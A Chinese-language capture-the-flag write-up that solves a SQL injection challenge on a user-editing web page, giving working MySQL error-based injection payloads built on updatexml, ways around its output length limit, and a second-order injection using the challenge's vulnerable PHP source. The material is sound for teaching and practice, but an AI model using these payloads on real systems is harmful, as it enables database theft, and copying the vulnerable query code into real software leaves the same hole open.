题目分析
打开界面是这样的
大致了解一下三个按钮的基本功能:
1.添加用户
测试了一下,没有限制username输入特殊字符
且查看用户为下:
2.编辑用户
是username的更改
update语句,事先猜想过程是这样——
通过 username 找到对应的用户id,把 username update为 new username ,把原来的 username update为history username
测试过,没有检查username是否存在,但不会显示
3.查看用户
基本没什么需要注意的地方
解题思路一 报错注入
由上分析,基本1、3功能不需要在意,数据库进行的操作只有 2功能 进行的查询和修改。
测试在 对 用户名 1' order by 2 进行修改时,回显如下
Error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use
near '' where id='4'' at line 1
可以猜测sql语句大概是下面这样嵌套查询(也可能是先查到id生成结果集,不一定在一个sql语句中,但功能相同)
update table set HistoryUsername='xxx' , UserName='yyy' where id in
(select id from table where UserName='xxx')
所以解题流程大概是
添加 用户名为注入语句 ->编辑 用户名为注入语句 更改为 任意->观察回显
updatexml
update注入最常见的就是报错注入,试水updatexml字符型
' or updatexml(1,concat(0x7e,(database())),0) or '
接下来就是常规爆表爆列爆数据
爆表
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0) or '
爆列
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema =database() and table_name='flag' limit 0,1)),0) or '
爆数据
' or updatexml(1,concat(0x7e,(select flag from flag)),0) or '
可以发现最后爆数据的时候只显示了一部分flag
以前做题的时候也模糊有印象,updatexml是有长度限制的
updatexml长度限制的解决方法
1.updatexml(1,(select max(flag)from flag),1)
参考实例:http://www.vuln.cn/8107
2.substr截取
如这题(这里flag是新的实例,不同上面,避免误会,说一下)
这个方法是最常用的
' or updatexml(1,concat(0x7e,substr((select flag from flag),20)),0) or '
3.left/right截取
在substr/substring过滤的情况下,还可以用left/right进行截取,实例参考 [极客大挑战 2019]HardSQL 这道题。
' or updatexml(1,concat(0x7e,(select right(flag,20) from flag),0x7e),0) or '
解题思路二 二次注入
其实像这种 先添加用户,再编辑用户 这种,有两个步骤的注入,也可以用二次注入。
这里通过白盒的视角更能明白,下面给出查询的源码。
<?php
if(isset($_POST['username']) && isset($_POST['new_username'])) {
$username = addslashes($_POST['username']);
$new_username = addslashes($_POST['new_username']);
$result = query("select * from users where username = '$username';");
foreach($result as $item) {
$username = $item['username'];
$id = $item['id'];
query("update users set username = '$new_username',history_username='$username' where id='$id';");
}
header('Location: /?file=select.php');
}
?>
如解题思路一 黑盒测的时候猜想,是 先生成一个结果集,再来比对id
select * from users where username = '$username'
二次注入 我们这样用
',username=database();#
select * from users where username = '',username=database();#'
update users set username = '$new_username',history_username='',username=database();#' where id='$id'
用一个表来测试一下上面的结果
第一个select语句是会报错的
那么结果集就是空的
第二个update语句username被修改了两次,结果显示的是最后一次修改,即database()
由此,下面的注入就很轻松了
',username=database();#
查看用户得 库名test
',username=(select table_name from information_schema.tables where table_schema = database() limit 0,1);#
查看用户得 表名flag
',username=(select column_name from information_schema.columns where table_schema =database() and table_name='flag' limit 0,1);#
查看用户得 列名flag
',username=(select flag from flag);#
查看用户得 最终flag
sql注入,重中之重,就是要去猜sql语句,同时结合前端是否给你回显,过滤了什么,对症下药,希望以后能越走越远XD